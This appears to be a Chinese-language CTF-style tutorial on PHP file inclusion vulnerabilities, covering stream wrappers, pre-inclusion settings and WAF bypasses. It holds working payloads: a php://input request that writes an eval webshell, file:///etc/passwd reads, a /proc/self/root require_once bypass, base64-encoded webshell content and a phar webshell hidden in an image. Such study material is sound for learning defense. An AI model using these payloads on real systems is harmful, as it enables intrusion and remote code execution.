前言
- 当一个文件被包含时,无论该文件后缀是否是php,都将作为php文件处理
- 被包含文件中在有效的 PHP 起始和结束标记中的代码将作为 PHP 代码执行,其余直接输出不会影响代码执行,如
#123<?php echo 4;?>5
,include后输出的是#12345
- 其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用,所有在包含文件中定义的函数和类都具有全局作用域,
php函数
include:执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
示例代码
1 | $filename = $_GET['filename']; |
require:只要程序一运行就包含文件,找不到被包含的文件时会报错,并停止脚本
include_once和require_once:不会多次加载同一文件(即文件及其包含的文件不能两次require_once()同一文件,第二次失效)
- require_once 绕过
php7.2.23,require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接
构造payload还可以使用spl_autoload_register实现自动加载1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
此外能触发文件包含漏洞的函数还有1
2
3spl_autoload_register(function ($class) {//$class为文件名
include 'classes/' . $class . '.class.php';
}); - highlight_file(); 函数对文件进行语法高亮显示,同样也可以使文件输出
- show_source(); 是higlight_file()的别名
- file_get_contents();把整个文件读入一个字符串中
- 打开文件
- highlight_file()、show_source()
函数对文件进行语法高亮显示,通常能看到源代码 - readfile()、file_get_contents()、
函数读取一个文件,并写入到输出缓冲 - fopen(),fopen_file()
打开一个文件或者url
php环境
- 远程包含
- allow_url_fopen=On(默认为On) 就可以将 HTTP 和 FTP URL 与大多数以文件名作为参数的函数一起使用
- allow_url_include=On(php5.2之后默认为Off) 就可以在 include、include_once、require 及 require_once 语句中使用 URL(为远程包含加了一道保险)
本地文件包含 ?filename=../../flag
远程文件包含 ?filename=http://192.168.91.133/FI
2. 预包含
php.ini中有两项:
1 | auto_prepend_file 在页面顶部加载文件 |
.htaccess 的预包含
1 | php_value auto_prepend_file "/home/fdipzone/header.php" |
.user.ini的预包含
1 | auto_prepend_file=01.gif |
PHP伪协议
file:// 协议
file:// — 访问本地文件系统
文件系统 是 PHP 使用的默认封装协议,展现了本地文件系统. 当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。 在很多情况下是脚本所在的目录,除非被修改了。 使用 CLI 的时候,目录默认是脚本被调用时所在的目录。
Eg:http://127.0.0.1/cmd.php?file=file:///etc/passwd
php://协议
php:// — 访问各个输入/输出流(I/O streams)
php://input协议(受限于 allow_url_include)
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
注:enctype=”multipart/form-data” 的时候 php://input 是无效的。
利用php://input还可以写入php木马,即在post中传入如下代码:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>
php://filter协议
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。相比于其他协议它的权限最低故也最常用
我们平时是这样利用它来读取php源码的php://filter/read=convert.base64-encode/resource=flag.php
在这个payload里,convert.base64-encode就是一个过滤器,而flag.php就是要过滤的数据流,也就是要读取的文件。
php://filter/read=convert.iconv.utf-16le.utf-8/resource=flag.php
如果base64别过滤可以用这个过滤器,通过编码转换读取文件
1 | //解密脚本 |
注意这两种方法不能读php文件php://filter/read=string.rot13/resource=flag.php
ROT-13 编码是一种每一个字母被另一个字母代替的方法。 这个代替字母是由原来的字母向前移动 13 个字母而得到的
php://filter/read=string.strip_tags/resource=flag
string.strip_tags从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。
data://协议(受限于 allow_url_fopen, allow_url_include)
data://text/plain协议
data:(» RFC 2397)数据流封装器(同样类似与php://input)。
使用方法:
1 | // 打印 "I love PHP" |
phar://协议
phar:// — PHP 归档
phar:// 数据流包装器。详细的描述可参见 Phar 数据流包装器。
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php
注意:PHP >= 5.3.0 压缩包需要是zip协议压缩,rar不行 ,将木马文件压缩后,改为其任意格式的文件都可以正常使用。
步骤:写一个一句话木马文件 sehll.php ,然后用zip协议压缩为 shell.zip ,然后将后缀改为 png 等其他格式。
glob://协议
glob:// — 查找匹配的文件路径模式
1 | $it = new DirectoryIterator("glob://ext/spl/examples/*.php"); |
waf绕过
绕过死亡exit
1 |
|
- base64
Base64编码由64个可打印ASCII字符(A-Z、a-z、0-9、+、/)组成,解码时是4个byte一组
而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符
则外加部分满足4个byte一组,就不会影响后续解码?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
其中phpexita被解成乱码
也可以先使用strip_tags去除 HTML 和 PHP 标记?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
直接包含getshell
膜拜https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html